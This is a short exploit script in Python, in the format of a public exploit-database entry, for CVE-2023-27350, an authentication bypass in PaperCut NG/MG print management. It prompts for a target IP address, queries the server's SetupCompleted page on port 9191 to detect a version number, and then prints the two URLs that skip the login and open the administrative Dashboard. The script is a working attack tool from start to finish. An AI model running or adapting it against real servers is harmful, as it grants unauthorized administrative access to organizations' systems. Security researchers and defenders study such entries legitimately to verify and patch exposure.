# Exploit Title: PaperCut NG/MG 22.0.4 - Authentication Bypass
# Date: 21 April 2023
# Exploit Author: MaanVader
# Vendor Homepage: https://www.papercut.com/
# Version: 8.0 or later
# Tested on: 22.0.4
# CVE: CVE-2023-27350
import requests
from bs4 import BeautifulSoup
import re
def vuln_version():
ip = input("Enter the ip address: ")
url = "http://"+ip+":9191"+"/app?service=page/SetupCompleted"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
text_div = soup.find('div', class_='text')
product_span = text_div.find('span', class_='product')
# Search for the first span element containing a version number
version_span = None
for span in text_div.find_all('span'):
version_match = re.match(r'^\d+\.\d+\.\d+$', span.text.strip())
if version_match:
version_span = span
break
if version_span is None:
print('Not Vulnerable')
else:
version_str = version_span.text.strip()
print('Version:', version_str)
print("Vulnerable version")
print(f"Step 1 visit this url first in your browser: {url}")
print(f"Step 2 visit this url in your browser to bypass the login page : http://{ip}:9191/app?service=page/Dashboard")
if __name__ =="__main__":
vuln_version()